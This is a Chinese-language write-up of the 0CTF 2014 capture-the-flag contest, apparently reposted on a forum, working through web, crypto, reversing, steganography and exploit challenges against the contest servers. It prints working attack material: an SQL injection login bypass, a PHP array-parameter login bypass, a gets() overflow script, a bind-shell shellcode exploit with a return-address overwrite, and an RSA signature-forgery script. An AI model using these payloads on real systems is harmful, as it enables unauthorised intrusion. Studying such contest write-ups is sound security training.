0ops CTF/0CTF writeup

2014-03-06 19:28:38 10 4917


0×00 0CTF
『第一届0ops信息安全技术挑战赛，即0ops Capture The Flag，以下简称0CTF。 0CTF由上海交通大学网络信息中心和上海市信息安全行业协会指导，由上海交通大学信息网络安全协会承办，是2014信息安全技能竞赛校园赛首站。0CTF注册与参赛地址为http://ctf.0ops.net。 比赛时间为北京时间2014年3月1日至2日，每天7时至23时，共32小时。』

看官方微博，这个比赛本来是面向上交校内的，就是校外可以做题但是不发奖，后来也给校外发奖了，整体感觉还不错，好多大牛过来刷题了，没有挤进前六名去……不过当做BCTF的一次练手吧，平时都在实验室打酱油，做个比赛还是可以学到不少东西的。写个Blog记录一下过程，题目只做简单描述，具体可以看官方页面http://ctf.0ops.net，要登录才能看到题目，不知道现在还能否注册。

0×01 [Web]Spy
[题]简单的Web题目，总共四关，每一关都要输入数字，并保证输入的数字比服务器给的大。
1. text框最多输入3位数字，服务器随机返回4位数字，这个审查元素改一下maxlength属性就好了；
2. text框最多输入3位数字，服务器随机返回数字，这个改maxlength属性不然过，但是发现服务器偶尔会返回三位数字，这样的话一直提交999，总会过的；
3. 看谁出的数的倒数比较小谁就算赢！输入-1直接过了；
4. 每人给出一个数，然后比谁的数的EVIL值大。啥是EVIL值？就是该数字每位ASCII码的乘积呗，比如’123′这个数，三位数字的ASCII码分别是49, 50, 51乘起来是124950，这个就是123这个数的EVIL值。这个题最多输入6位，服务器的EVIL值很大，不过输入0xFFFF就过了；

0×02 [Crypto]Classic
[题]小丁丁发现自己置身于一个诡异的房间，面前只有一扇刻着奇怪字符的门。 他发现门边上还有一道密码锁，似乎要输入密码才能开门。。4esxcft5 rdcvgt 6tfc78uhg 098ukmnb
[解]这个比较诡异……通过键盘布局解密：0ops

0×03 [Misc]IPv4
[题]截止到2014.2.23，亚太互联网络信息中心分配给中国大陆的IPv4地址是多少个？
[解]下载文件http://ftp.apnic.net/stats/apnic/2014/delegated-apnic-20140223.gz进行统计分析。文件格式为：
apnic|CN|ipv4|1.2.2.0|256|20110331|assigned

等级机构|获得该IP段的国家/组织|资源类型|起始IP|IP段长度|分配日期|分配状态
我用Python解析的，读入每行数据split一下就好了，得到330393088。
0×04 [Exploit]Welcome
[题]在服务器202.120.7.6:32323上运行了一个程序，溢出拿KEY。
[解]IDA分析程序，B函数可以溢出：
char *__cdecl B()

{

  char *result; // eax@1

  char s; // [sp+1Ch] [bp-40Ch]@1

  int v2; // [sp+20h] [bp-408h]@1

  __int16 v3; // [sp+24h] [bp-404h]@1

  char v4; // [sp+26h] [bp-402h]@1

  int v5; // [sp+41Ch] [bp-Ch]@1

 

  v5 = 0;

  memset(&s, 0, 1016u);

  puts("Welcome to 0ops CTF.");

  fflush(stdout);

  gets(&s);

  result = &s;

  *(_DWORD *)&s = *(_DWORD *)"HelloKitty";

  v2 = *(_DWORD *)&aHellokitty[4];              // o

  v3 = *(_WORD *)&aHellokitty[8];               // t

  v4 = aHellokitty[10];                         // \0

  if ( v5 )                                     // 覆盖到v5即可

                                                // 1016+4+2+1=1023 多覆盖一个byte即可

  {

    fd = (int)fopen("./flag.txt", "r");

    __isoc99_fscanf(fd, "%s\n", &s);

    puts(&s);

    result = (char *)fflush(stdout);

  }

  return result;

}
开始忘了加\n，郁闷了好久……
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.connect(('202.120.7.6', 32323))

    print sock.recv(1024)

    sock.send('a'*1025+'\n')        # 一定要有\n

    print "send done"

    print sock.recv(2048)

    sock.close()
0×05 [Web]System
[题]小丁丁在无意中发现了一个对方的内部登陆系统，可惜他不知道用户名和密码，该怎么办呢？
[解]简单的SQL注入，用户名输入下面的代码即可：
'or 1=1#
0×06 [Crypto]Dict
[题]小丁丁一直潜伏在邪恶黑客组织的总部大楼附近。他知道邪恶黑客组织的内部密码Hash方式是咸的（Salted），但是 没有正确的通行口令他无法潜入。他每天都在仔细分析这栋大楼的办公室垃圾，想要从中找到一些线索。这一次，他捡到了某个员工的备忘小便签：
WORD is a common english word

len(WORD) = 4

md5(WORD + '0ops!^_^') = 'e79dc003a53edc551c5ef8364e97b2e2'

HASH = md5(WORD)

FLAG = 0ops{HASH}
[解]四个字母组成的英语单词，这个直接枚举并比较MD5值就行了，很快就找到了单词join。

0×07 [Crypto]JohnCode
[题]小丁丁伪装成内部员工潜入了邪恶黑客组织，在群邮件中，他得知他们正在开发一套新的加密算法JohnCode。小丁丁看到了群共享的源代码，陷入了深深的沉思。 你能帮他破解这个囧呆马吗？
eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f=
JohnCode加密算法源代码：
import hashlib

 

def johncode(msg, key):

        token = hashlib.md5(key).digest()

        res = ""

        password = "0ops Capture The Flag"

        for c in msg:

                n = ord(c) ^ 0xde ^ 0xad ^ 0xbe ^ 0xef

                for i in xrange(16) :

                        n ^= ord(password[i]) ^ ord(token[i])

                res += chr(n)

                token = hashlib.md5(chr(n)).digest()

        return res.encode('base64').encode('rot13')
[解]这个可以直接逆推的，因为每一轮的token都是上一轮的字符的MD5值。不过因为不知道key，所以第一位没法解出来，但是题目说了FLAG的格式，所以第一位是0，解密的代码如下：
import hashlib

 

def getConstXor():

    return 0xde ^ 0xad ^ 0xbe ^ 0xef

 

def getPwdXor():

    password = "0ops Capture The Flag"

    res = 0

    for i in xrange(16):

        res ^= ord(password[i])

    return res

 

def getMd5Xor(val):

    token = hashlib.md5(val).digest()

    res = 0

    for i in xrange(16):

        res ^= ord(token[i])

    return res

 

if __name__ == "__main__":

    ctftext = "eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f="

    ciphertext = ctftext.decode("rot13").decode("base64")

    ctlen = len(ciphertext)

    constXor = getConstXor()

    pwdXor = getPwdXor()

    i = ctlen - 1

    msg = ""

    while i >= 1:

        tokenXor = getMd5Xor(ciphertext[i-1])

        msg = msg + chr(ord(ciphertext[i]) ^ tokenXor ^ pwdXor ^ constXor)

        i = i - 1

    # msg = }4660b46c5eb87b6e4b618a2804b40ee4{spo

    msg = msg[::-1]

    # msg = ops{4ee04b4082a816b4e6b78be5c64b0664}

    # 答案是 0ops{4ee04b4082a816b4e6b78be5c64b0664}
0×08 [Reverse]Waltz
[题]APK逆向分析：http://ctf.0ops.net/attachment/download/EndlessWaltz.zip
[解]解压APK得到classes.dex，然后使用dex2jar得到jar文件，然后使用JD-GUI就可以看Java代码了，就是几个字符串替换和BASE64加解密。

0×09 [Misc]FakeUser
[题]小丁丁有隔天备份ctf.0ops.net数据库的习惯，就在比赛开始前一天，小丁丁突然发现备份似乎被人修改了，似乎额外增加了几个账户。可是小丁丁已经不记得有哪些账户了，这可怎么办？
注意：此题的FLAG是取 所有虚假账户的ID之和，求MD5，再拼上0ops{…} 即0ops{md5(sum of IDs of fake users)}
[解]将SQL文件导入数据库，提示换行符不一致！所有换行符为\r\n的都是假的账户。

0x0A [Exploit]Login
[题]溢出服务器上的一个程序，位于202.120.7.110:55632
[解]getpath函数中，gets可以溢出，最后调用了strdup，这个函数会分配一段空间保存输入的内容，把返回地址覆盖为call eax的地址，那么返回的时候就会执行shellcode了。
char *__cdecl getpath()

{

  char s; // [sp+8h] [bp-25Ch]@1 [604]

  void *v2; // [sp+260h] [bp-4h]@1

  unsigned int v3; // [sp+268h] [bp+4h]@1

 

  printf("Input Name Please: ");

  fflush(stdout);

  gets(&s);                             // 获取输入

  v2 = (void *)v3;                      // v3 == 608

  if ( (v3 & 0xB0000000) == 0xB0000000 )// 覆盖返回地址, 返回地址存入v3

  {

    printf("HEHE (%p)\n", v2);

    _exit(1);

  }

  printf("Got Name %s\n", &s);

  return strdup(&s);                    // 分配空间复制字符串, 返回值指向复制的字符串

}
call eax可以随便找一个：
.text:08048A4B                 call    eax ; __CTOR_LIST__
不过我找了好多Shellcode都不管用……最后找了个开端口的，执行之后nc连接，cat flag.txt即可。
def testServer():

    # http://www.shell-storm.org/shellcode/files/shellcode-370.php

    # port : 5074

    shellcode = ("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff"+

                "\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04" +

                "\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMD" +

                "FAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMN" +

                "IAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEB" +

                "IAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA")

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    #sock.connect(('192.168.218.129', 55632))

    sock.connect(('202.120.7.110', 55632))

    print sock.recv(1024)

    #sock.send('A'*608+'\xB0'*4+'\n')

 

    sock.send(shellcode + '\x90'*(608-len(shellcode))+'\x4B\x8A\x04\x08'+'\n')

    print "send done"

    print sock.recv(2048)

    print sock.recv(2048)

    while True:

        acmd = raw_input("CMD> ")

        sock.send(acmd)

        sock.send(acmd)

        print sock.recv(2048)

        time.sleep(0.1)
0x0B [Reverse]HackGate
[题]给定一个setup.exe，求KEY。
[解]setup.exe，是个安装包，要求输入密码才能安装。开始直接调试这个程序，发现根本断不下来，发现创建了子进程，于是调试子进程，发现用了MD5、SHA以及CRC32算法，后来差一下发现是个Inno Setup的安装包，然后我还找到了能够绕过密码直接提取文件的程序（当然找了好几个才发现一个叫做InnoExtractor的程序），于是直接把里面的EXE抠出来了，是g++编译的，我电脑装了还跑不起来，可能DLL版本不对。直接托IDA看字符串就找到KEY了……当然要稍微变换一下，key是0ops{EL_PSY_CONGROO}。其实找到的字符串是LE_PSY_CONGROO，我用Google搜的时候，提示我是EL_PSY_CONGROO。
El Psy Congroo在动画《命运石之门》播出之后才火起来的。

冈部伦太郎使用了很久用意义不明的话，能够自我暗示，使自己镇静下来。
不过有时候做这种题，没加密的话很容易偷懒的……（我这样会被鄙视吗？）
0x0C [Web]Signal
[题]绕过网站登陆。
[解]给提示了，这题和数据没关系，和PHP的一些检查方式有关系……审查元素，修改password字段名字（在name字段的值后面加上数组符[]），输入任意密码提交：
<form class="form-signin" action="login_ok.php" method="post">

    <h2 class="form-signin-heading">Please sign in</h2>

    <input type="text" class="input-block-level" name="id" value="159.226.43.61" readonly="">

    <input type="password" class="input-block-level" name="ps[]" placeholder="Password">

    <label class="checkbox">

      <input type="checkbox" value="remember-me"> Remember me

    </label>

    <button class="btn btn-large btn-primary" type="submit">Sign in</button>

</form>
0x0D [Crypto]RSASign
[题]小丁丁继续在邪恶组织总部探索。他发现组织内部有一个专用的身份签名系统。只要能拿到最高权限的账户签名，他就可以得到最高权限啦！幸运的是，小丁丁又一次拿到了它的源码。
[解]考察数论相关的知识了。
同余形式：若a % N = A 且 b % N = B，那么有(ab) % N = (AB) % N；
同理对于RSA有：若a^d % N = A 且 b^d % N = B，那么有[(a^d)*(b^d)] % N = (AB) % N；
现在服务器能够返回给定任意数据a，返回a^d % N的值A，如果能拿到0ops（假设转化为数值之和为c）的返回值：c^d % N = C，即拿到C的值就可以拿到KEY了。
a^d % N = A

b^d % N = B

c^d % N = C
分解c，假设c = a*b，那么有(A*B)≡C mod N，计算一下，c刚好能够分解，那么我们就可以从服务器拿回A和B了，如果知道了N，就可以拿到C了。不过对于这个题，拿到AB就已经够了，因为RSA签名验证就是(A*B)^e % N。不过N还是可以求出来的，大神提供的思路如下：
2^d % N = A

4^d % N = B 即 (2*2)^d % N = B

8^d % N = C 即 (2*2*2)^d % N = C

有M = GCD(A*A-B, A*A*A-C)

注意这里求出的M可能是kN，也就是是N的倍数，如果运气好就是N了，不然要多找几次。
下面是解题代码，会求出N。
import time

import socket

import string

 

def int2str(n):

    charset = string.digits + string.letters

    p = len(charset) + 1

    s = ""

    while n:

        s = s + charset[n%p-1]

        n /= p

    return s[::-1]

 

def str2int(s):

    """

        map

            '0' =>  1

            '1' =>  2

                ...

            '9' =>  10

            'a' =>  11

                ...

            'z' =>  36

            'A' =>  37

                ...

            'Z' =>  62

    """

    charset = string.digits + string.letters

    p = len(charset) + 1

    r = 0

    for c in s :

        r = r * p + charset.index(c) + 1

    return r

 

def getFactor():

    ops = str2int('0ops')

    a = b = 0

    for i in range(2, ops):

        if ops % i == 0:

            a, b = i, ops/i

            print "%d * %d = %d" % (a, b, ops)

            break

    sa = int2str(a)

    sb = int2str(b)

    print "%d --> %s" % (a, sa)

    print "%d --> %s" % (b, sb)

    return sa, sb

 

def getAuthKey(s):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.connect(('202.120.7.5', 38241))

    sock.recv(2048)

    time.sleep(0.5)

    sock.recv(2048)

    sock.send('1\n')    # register

    sock.recv(2048)

    time.sleep(0.1)

    sock.send(s + '\n')

    sock.recv(2048)

    authKey = sock.recv(2048)

    sock.close()

 

    print "Username: %s" % s

    print authKey

    return authKey.strip()

 

def getGCD(a, b):

    if a < b:

        a, b = b, a

    while b != 0:

        tmp = a % b

        a = b

        b = tmp

    return a

 

def getN():

    userlist = [2, 4, 8]

    keylist = []

    for user in userlist:

        keylist.append(int(getAuthKey(int2str(user))))

    diff = []

    diff.append(pow(keylist[0], 2) - keylist[1])

    diff.append(pow(keylist[0], 3) - keylist[2])

    return getGCD(diff[0], diff[1])

 

def getFlag(authKey):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.connect(('202.120.7.5', 38241))

    sock.recv(2048)

    time.sleep(0.5)

    sock.recv(2048)

    sock.send('2\n')    # login    

    sock.recv(2048)

    time.sleep(0.1)

    sock.send('0ops\n') # username

    sock.recv(2048)

    time.sleep(0.1)

    sock.send(str(authKey) + '\n') # authKey

    print sock.recv(2048)

    print sock.recv(2048)

    sock.close()

 

if __name__ == "__main__":

    sa, sb = getFactor()

    ka = getAuthKey(sa)

    kb = getAuthKey(sb)

    kab = int(ka) * int(kb)

    print "authKey[%s] * authKey[%s] = \n%d\n" % (sa, sb, kab)

    n = getN()

    print "N = \n%d\n" % n

    flagKey = kab % n

    print "authKey[0ops] = \n%d\n" % flagKey

    getFlag(flagKey)

    raw_input("<Enter>")

 

"""

163 * 2153 = 350939

163 --> 1A

2153 --> xa

Username: 1A

21533328170418378084667829333241475137237189840136413341659043482256097510873406

80778085936300557220305925866245746162556818225595325428891118543277776000224693

94153804439920506389342914152518686076142925020261268165134548156640326678913058

32183740222011549816792593422992831392821041521696985409510603614521305240365730

69993107868111616188102944903092890088304093759066757333321808861343015436285431

83423748039157813181828728529338570079483125070881458603012233228629889625998610

77837188029428966569684473488137929071603810228867022108243630344706359935318974

659363579802989602917857042437294261061356335491933174051

 

Username: xa

25488744768722406399022993210073505421411878358623824552700157019662731668788913

29696762464701716291111290751757383920248775850436486970351641724147165259120289

88289621607449227239688925130507701532735104032594188602562364841462980159493017

96811103500139479056818978083991583831585928689088971640016014467405404108823622

37555222332241091523009935298355178015132729923435885189369662045864007701562485

91622365205822004617452169129111881126526480558419450732992640082382159767752794

22962647696103667805075981389049729228576300327608699296783543259431738187799821

731862053896502779740294350970620551593589183858097468202

 

authKey[1A] * authKey[xa] =

54885750575693426083919531510934514350135708923403345930121911623724478234602268

27979542454055898817768822046755196649628234154462632065635709315217301905443578

15053213360938990523525651515977264898624869669693382733171731889768054632085639

40081552196281561143501153944763925013800347447018887135453722798415734016750151

92184836862276059791184086691283031159039851810771777962934768576429259231364133

41834110889564427268927559492552852974023169921476230425928104005016422929418070

39593591140411537137125967387946130071547972790632118133896625499729357543308816

65448091364193997682005248870200041504023381016446066909023878970529319079800086

13808551432638083920706237377055192075931504657100138782762634126828570096626000

21740987778485284470130972040488510155441233144261202690270073340308044559909236

88022604483095012235643404016986395825071264788489401081410846239399008256383444

27783542166239774991615310457893021925122329284187579913245305211704054543963112

46617591745725112264275325834238989453825259130717300416524844869106838890002150

13539418987344763704144532367013919237191922725980132605207837102132907895624432

66607899392071332859380943060605852067363066333823230424467584589398587263860042

119105342842310261180736904026302

 

Username: 1

22162592382709279239675078287209487170257682361511277398481832147372823215451206

29012234993254397116315506291018552849006256580425529369872729697550238374739494

48772829679652923225545207924144536536130669962018422146411134841875616397357134

29568880006878286534623642415790091356045364443763159224635646171861388242085726

97265299606708141770914574335615303479761746656913880214780405285865156974703663

68707812547485603274962190456901154898407556530407582248442240935713344954001743

70460314565217400045829838047916742777893191557151837606275064117735853844147609

312638348348883587842186583304381307199776987787088683213

 

Username: 3

18555505824880771273727540829711672221676629831658469028977988584440554873780436

45137773386560133644983364637659004337061718305660923166817411197766375793405718

05103029732367220924127309328528302634299493223853139595279355089050203206293974

86840898999244645854695909576241621143659347688557261209638462191011865971149242

79464762884238981766433085461726300411125242999959696850859594687622334871918471

71670809991958427666213019092095767990137873589365923128683417543694089792152878

77150847918268764278582616037769773086098337088950812318405615762304350575303071

079091404763125577831379208432103400658648842256675379806

 

Username: 7

52482204868424933403557570627260487449813958439686870244092838847494332548446073

45602512803692746763888792435320054869228129209697946733034825577367868675415020

40650190376660294128759355299952166682183127812142558455298025750832300811952889

86463990447494116385230643606657822311838848399664307028247794759330657294253921

87875591907107721872039909705488324146809722005199670346002505042495876768793064

69944991228386536399164224058905493762703168633149946839305007134191114427394941

72485062533747457130652067041438480378568459966504351977884309118621219929633189

06584017724632422879044239426508028014318144849268674008

 

N =

29610211050329808378232545552699749436594480437122054986865680099884890513872850

75525661987282310273914255054387679145058167010821716155270450004228110100462580

61209364757602907910617119263438600005472312713489338816033264709490529535130190

96378961760344107740968951046321793825376720940083912117401942507142416424502224

52716016867059810410289101671971086362182186474576259372154998140093546592864747

64210175590855355005120986623171403794224031596995562230659609347027503141992475

47770245690981730429515128740909571870394089884652117078715034645606613009469198

724251507254450039197449345504428016016268512178144465269

 

authKey[0ops] =

13110205844472582078508561586009616010511440950399464874188864349291652777783298

99881232052318532954986646824467063842227828770517196037207171044544695490940912

12423450401458576493793741404979648318705923086553715197114747437125272098839105

53827198360050895608734309931663997144339422020764921090587199992980596843329551

10835974076198749267323036625564956690953923683306767300917098380913656898698173

63407386614802670044895487509786218738456054495098285103711261589674380370321433

35083314522191405782002192706825562995912444112388730499459139167637817864843651

545728753985843329656352477751861819954384211132836924156

 

You win!

Flag is: 0ops{03e2bca28698ca3b2b8b50c594ae4e89}

 

"""
0x0E [Misc]Game
[题]小丁丁找到邪恶组织的人想要和他们在安全技术上一较高下，然而却被告知你太嫩了，我们先不玩别的先来盘游戏吧，如果赢了我，再来谈技术的问题也不迟啊哈哈哈哈哈。
[解]这个是个取石子游戏，大家应该见过，OJ上面也会常见，虽然我连这个也不会，不过搜一下还是有很多解决方案的。服务器会返回N堆石子给你，你要最后面拿光所有的石子，你就赢了这一个round。
也就是Nimm Game，有k堆石子，两个人轮流从某一堆取任意多的物品，规定每次至少取一个，多者不限。取走最后石子的人获胜。
引入一个概念，平衡状态，又称作奇异局势。当面对这个局势时则会失败。任意非平衡态经过一次操作可以变为平衡态。

每个玩家都会努力使自己抓完石子之后的局势为平衡，将这个平衡局势留给对方。因此，玩家A能够在初始为非平衡的

游戏中取胜，玩家B能够在初始为平衡的游戏中取胜。

 

最后一个奇异局势是(0,0...,0)。另一个奇异局势是(n,n,0...0)，只要对手总是和我拿走一样多的物品，最后会面对

(0,0...,0)。

 

奇异局势的判定：

    对于一个普通的局势，如何判断其是不是奇异局势？对于一个局势(s1,s2,...sk)，对所有石子个数做位的异或运

算，s1^s2^s3^...^sk，如果结果为0，那么局势(s1,s2,...sk)就是奇异局势（平衡），否则就不是（非平衡）。

    从二进制位的角度上说，奇异局势时，每一个bit位上1的个数都是偶数。

 

玩家的策略：

    就是把面对的非奇异局势变为奇异局势留给对方。也就是从某一堆取出若干石子之后，使得每一个bit位上1的个数

都变为偶数，这样的取法一般不只有一种。可以将其中一堆的石子数变为其他堆石子数的位异或运算的值（如果这个值

比原来的石子数小的话）。

 

参见：http://blog.csdn.net/ojshilu/article/details/16812173
照着这个思路写了个脚本，但是比较蛋疼的是服务器每次只从一堆石头中取出一个，这样我也只能取出1个，而这样下来就严重拖慢了速度，而服务器最初设置了100个round，我跑了1个多小时才跑完50个round，然后管理员认为100轮太多了，就把服务器端了调整为50轮，于是我又跑了1个小时左右，中午吃完饭回来就返回了key了。
#!/usr/bin/env python

# -*- coding:utf-8 -*-

import socket

import sys

 

def parseInput(s):

    idx = s.find("I pick")  # 过滤无关数据

    if idx != -1:

        s = s[idx:]

    idx = s.find("There are totally")   # 过滤无关数据

    if idx != -1:

        s = s[idx:]

 

    lines = s.split('\n')

    res = []

    for l in lines:

        l = l.strip()

        data = l.split(': ')

        if len(data) == 2 and data[0].find("Pile") != -1:

            res.append(int(data[1]))

    return res

 

def pickStone(s):

    l = len(s)

    maxCount = 0

    idx = 0

    for i in range(0, l):

        tmp = 0

        for j in range(0, l):

            if j == i:

                continue

            tmp = tmp ^ s[j]

        if tmp < s[i]:

            if maxCount < s[i]-tmp:

                maxCount = s[i]-tmp

                idx = i

    return (idx, maxCount)

 

if __name__ == "__main__":

    #redirectOutput()

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.connect(('202.120.7.108', 17733))

    print sock.recv(4096)

    while True:

        data = sock.recv(4096)

        print data

        arr = parseInput(data)

        print arr

        idx, count = pickStone(arr)

        sock.send("%d\n" % idx)

        print "%d" % idx

        data = sock.recv(4096)

        print data

        sock.send("%d\n" % count)

        print "%d" % count

        print sock.recv(4096)
0x0F [Misc]Girl
[题]图片隐写术

[解]图片无限放大之后会发现右上角有四个小点，这里面隐藏了信息，当然这里全是一堆红色，看起来相当的晃眼！！这里面的像素点存在色差，我们需要对其进行二值化处理。下图是截取的一个图，我给四个小点画了个圈，只是为了方便各位看官辨别。

大家可以把原图下载下来放大之后，在信息隐藏区域取色就能看到色差（比如QQ截图工具就有取色功能）
正常的背景色RGB是(235,1,2)，四个边界点的RGB是(225,0,0)，鼠标在区域内移动的时候，有两个RGB值，分别是(235,1,2), (236,1,2)，看到了没，(235,1,2)就是背景色的RGB值。
刚开始以为这个是二维码，就把背景色设置为白色(255,255,255)，把四个边界点的颜色设置为蓝色(0,0,255)，把二维码中的颜色设置为黑色(0,0,0)，以为差不多就OK了，谁知道这货不是二维码，是二进制信息。

隐藏信息的区域我画了个圈，从图中可以看出，如果白色代表0，黑色代表1，我们转成二进制得到0×30和0x6F，这就是0和o，也就是Flag的前缀0ops了，完善一下代码就有key了。
#!/usr/bin/env python

# -*- coding:utf-8 -*-

import string

from PIL import Image

 

"""

# It's not QR code :)

def showQRCode(fpath):

    bmp = Image.open(fpath)

    pix = bmp.load()

    w, h = bmp.size

    for x in xrange(0, w):

        for y in xrange(0, h):

            if pix[x, y] == (235,1,2):

                pix[x, y] = (255,255,255)

            elif pix[x, y] == (225,0,0):

                pix[x, y] = (0, 0, 255)

            elif pix[x, y] == (236, 1, 2):

                pix[x, y] = (0, 0, 0)

            else:

                pix[x, y] = (255, 255, 255)

    bmp.save(fpath)

"""

 

def getFlagHex(fpath):

    bmp = Image.open(fpath)

    pix = bmp.load()

    w, h = bmp.size

 

    c = []

    for y in xrange(0, h):

        for x in xrange(0, w):

            if pix[x, y] == (225,0,0):

                c.append((x, y))

 

    flag = ""

    for y in xrange(c[0][1]+1, c[2][1]):

        x = c[0][0] + 1

        for i in xrange(0, 4):

            ch = 0

            for j in xrange(0, 4):

                tmp = 0

                if pix[x+i*4+j, y] == (236, 1, 2):

                    tmp = 1

                ch = (ch<<1) + tmp

            flag = flag + ("%x" % ch)

    bmp.save(fpath)

    return flag

 

def getFlag(flagHex):

    flag = ""

    tmp = 0

    for i in xrange(0, len(flagHex)):

        val = string.hexdigits.index(flagHex[i])

        if i&1:

            flag = flag + chr(tmp*16 + val)

            tmp = 0

        else:

            tmp = val

    return flag

 

if __name__ == "__main__":

    flagHex = getFlagHex("girl.bmp")

    flag = getFlag(flagHex)

    raw_input(flag)
0×10 [Exploit]WebServer
[题]在服务器202.120.7.111:44774上运行了一个程序，提供奇怪的web服务，能处理你的HTTP请求。看看这个web服务里有没有什么非同寻常的秘密？注意：没有NX以及aslr。提供libc.so.6文件下载。
[解]这个是GOT表覆盖与printf格式化写任意内存漏洞，exploit-exercises上面的format最后一题和这个类似，不过只怪我当时候没有认真做题，这个题就没交了……囧rz，这个题有空再补上吧。

作者：代码疯子（Wins0n）
转载地址:http://www.programlife.net/0ops-ctf-writeup.html
比赛地址：http://ctf.0ops.net
帐号 1 密码 1  
不要该密码 号不是我的
类别 CTF交流

关于作者

wsm1238篇文章278篇回复

wsm123
10

评论10次

要评论？请先  登录  或  注册